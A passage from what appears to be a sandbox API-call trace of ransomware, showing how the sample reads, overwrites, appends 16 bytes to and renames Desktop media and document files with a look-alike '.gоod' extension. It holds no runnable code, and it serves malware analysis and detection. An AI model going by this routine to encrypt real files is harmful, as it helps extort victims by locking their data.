ftCreationTime.dwLowDateTime=0xc8cb9930, ftCreationTime.dwHighDateTime=0x1d4d5ff, ftLastAccessTime.dwLowDateTime=0xa11890d0, ftLastAccessTime.dwHighDateTime=0x1d4c5f8, ftLastWriteTime.dwLowDateTime=0x76f3fa1f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x178dd)) returned 1 [0205.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0205.929] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif.gоod")) returned 1 [0205.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0205.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0205.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), fInfoLevelId=0x0, lpFileInformation=0x340d420 | out: lpFileInformation=0x340d420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8638cb0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0x78223990, ftLastAccessTime.dwHighDateTime=0x1d4d0f9, ftLastWriteTime.dwLowDateTime=0x78223990, ftLastWriteTime.dwHighDateTime=0x1d4d0f9, nFileSizeHigh=0x0, nFileSizeLow=0x887e)) returned 1 [0205.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0205.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0205.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.931] GetFileType (hFile=0x7f8) returned 0x1 [0205.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.931] GetFileType (hFile=0x7f8) returned 0x1 [0205.931] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0205.931] ReadFile (in: hFile=0x7f8, lpBuffer=0x340d7b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x340d7b8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0205.932] CloseHandle (hObject=0x7f8) returned 1 [0205.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0205.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.933] GetFileType (hFile=0x7f8) returned 0x1 [0205.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.933] GetFileType (hFile=0x7f8) returned 0x1 [0205.933] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x887e [0205.933] WriteFile (in: hFile=0x7f8, lpBuffer=0x340ea10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x340ea10*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0205.933] CloseHandle (hObject=0x7f8) returned 1 [0205.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0205.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.933] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.933] GetFileType (hFile=0x7f8) returned 0x1 [0205.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.933] GetFileType (hFile=0x7f8) returned 0x1 [0205.933] ReadFile (in: hFile=0x7f8, lpBuffer=0x3410c90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3410c90*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0206.464] CloseHandle (hObject=0x7f8) returned 1 [0206.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0206.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0206.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0206.464] GetFileType (hFile=0x7f8) returned 0x1 [0206.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0206.464] GetFileType (hFile=0x7f8) returned 0x1 [0206.464] WriteFile (in: hFile=0x7f8, lpBuffer=0x34022d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x34022d8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0207.569] CloseHandle (hObject=0x7f8) returned 1 [0208.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg", lpFilePart=0x0) returned 0x26 [0208.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg.gоod", lpFilePart=0x0) returned 0x2b [0208.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0208.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8638cb0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0x78223990, ftLastAccessTime.dwHighDateTime=0x1d4d0f9, ftLastWriteTime.dwLowDateTime=0x77ee501c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x888e)) returned 1 [0208.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0208.349] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\WgL8q5mQeu.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\wgl8q5mqeu.jpg.gоod")) returned 1 [0209.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0209.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0209.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), fInfoLevelId=0x0, lpFileInformation=0x34bf780 | out: lpFileInformation=0x34bf780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22eb3b0, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xc2289ba0, ftLastAccessTime.dwHighDateTime=0x1d4c6d2, ftLastWriteTime.dwLowDateTime=0xc2289ba0, ftLastWriteTime.dwHighDateTime=0x1d4c6d2, nFileSizeHigh=0x0, nFileSizeLow=0x2b84)) returned 1 [0209.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0210.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0210.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0210.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.129] GetFileType (hFile=0x834) returned 0x1 [0210.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0210.129] GetFileType (hFile=0x834) returned 0x1 [0210.129] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0210.129] ReadFile (in: hFile=0x834, lpBuffer=0x36ceff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36ceff0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0210.130] CloseHandle (hObject=0x834) returned 1 [0210.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0210.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0210.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.130] GetFileType (hFile=0x834) returned 0x1 [0210.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0210.130] GetFileType (hFile=0x834) returned 0x1 [0210.130] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x2b84 [0210.130] WriteFile (in: hFile=0x834, lpBuffer=0x36d0238*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36d0238*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0210.130] CloseHandle (hObject=0x834) returned 1 [0210.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0210.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0210.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.583] GetFileType (hFile=0x478) returned 0x1 [0210.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0210.583] GetFileType (hFile=0x478) returned 0x1 [0210.584] ReadFile (in: hFile=0x478, lpBuffer=0x355eeb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x355eeb8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0210.616] CloseHandle (hObject=0x478) returned 1 [0210.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0210.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0210.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.616] GetFileType (hFile=0x478) returned 0x1 [0210.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0210.616] GetFileType (hFile=0x478) returned 0x1 [0210.616] WriteFile (in: hFile=0x478, lpBuffer=0x355dc60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x355dc60*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0210.617] CloseHandle (hObject=0x478) returned 1 [0211.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc", lpFilePart=0x0) returned 0x20 [0211.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc.gоod", lpFilePart=0x0) returned 0x25 [0211.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0211.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22eb3b0, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xc2289ba0, ftLastAccessTime.dwHighDateTime=0x1d4c6d2, ftLastWriteTime.dwLowDateTime=0x79c0b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b94)) returned 1 [0211.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0211.334] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\XbKr.doc.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\xbkr.doc.gоod")) returned 1 [0212.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0212.128] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), fInfoLevelId=0x0, lpFileInformation=0x33e6180 | out: lpFileInformation=0x33e6180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1951010, ftCreationTime.dwHighDateTime=0x1d4d452, ftLastAccessTime.dwLowDateTime=0xbc2e7790, ftLastAccessTime.dwHighDateTime=0x1d4d449, ftLastWriteTime.dwLowDateTime=0xbc2e7790, ftLastWriteTime.dwHighDateTime=0x1d4d449, nFileSizeHigh=0x0, nFileSizeLow=0x62c8)) returned 1 [0212.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0212.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0212.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.129] GetFileType (hFile=0x808) returned 0x1 [0212.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0212.129] GetFileType (hFile=0x808) returned 0x1 [0212.129] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0212.129] ReadFile (in: hFile=0x808, lpBuffer=0x340e8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x340e8b0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0212.130] CloseHandle (hObject=0x808) returned 1 [0212.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0212.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.130] GetFileType (hFile=0x808) returned 0x1 [0212.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0212.130] GetFileType (hFile=0x808) returned 0x1 [0212.130] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x62c8 [0212.130] WriteFile (in: hFile=0x808, lpBuffer=0x340faf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x340faf8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0212.131] CloseHandle (hObject=0x808) returned 1 [0212.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0212.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.174] GetFileType (hFile=0x768) returned 0x1 [0212.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0212.174] GetFileType (hFile=0x768) returned 0x1 [0212.174] ReadFile (in: hFile=0x768, lpBuffer=0x350baf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x350baf8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0212.200] CloseHandle (hObject=0x768) returned 1 [0212.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0212.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.200] GetFileType (hFile=0x768) returned 0x1 [0212.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0212.200] GetFileType (hFile=0x768) returned 0x1 [0212.200] WriteFile (in: hFile=0x768, lpBuffer=0x350a8a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x350a8a0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0212.200] CloseHandle (hObject=0x768) returned 1 [0212.473] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv", lpFilePart=0x0) returned 0x22 [0212.473] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv.gоod", lpFilePart=0x0) returned 0x27 [0212.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0212.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1951010, ftCreationTime.dwHighDateTime=0x1d4d452, ftLastAccessTime.dwLowDateTime=0xbc2e7790, ftLastAccessTime.dwHighDateTime=0x1d4d449, ftLastWriteTime.dwLowDateTime=0x7ab17fab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x62d8)) returned 1 [0212.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0212.474] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\xjcy8Z.flv.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\xjcy8z.flv.gоod")) returned 1 [0213.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0213.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), fInfoLevelId=0x0, lpFileInformation=0x37f0b98 | out: lpFileInformation=0x37f0b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84f880, ftCreationTime.dwHighDateTime=0x1d4ca65, ftLastAccessTime.dwLowDateTime=0xf3015960, ftLastAccessTime.dwHighDateTime=0x1d4c8fd, ftLastWriteTime.dwLowDateTime=0xf3015960, ftLastWriteTime.dwHighDateTime=0x1d4c8fd, nFileSizeHigh=0x0, nFileSizeLow=0x128ca)) returned 1 [0213.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0213.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: 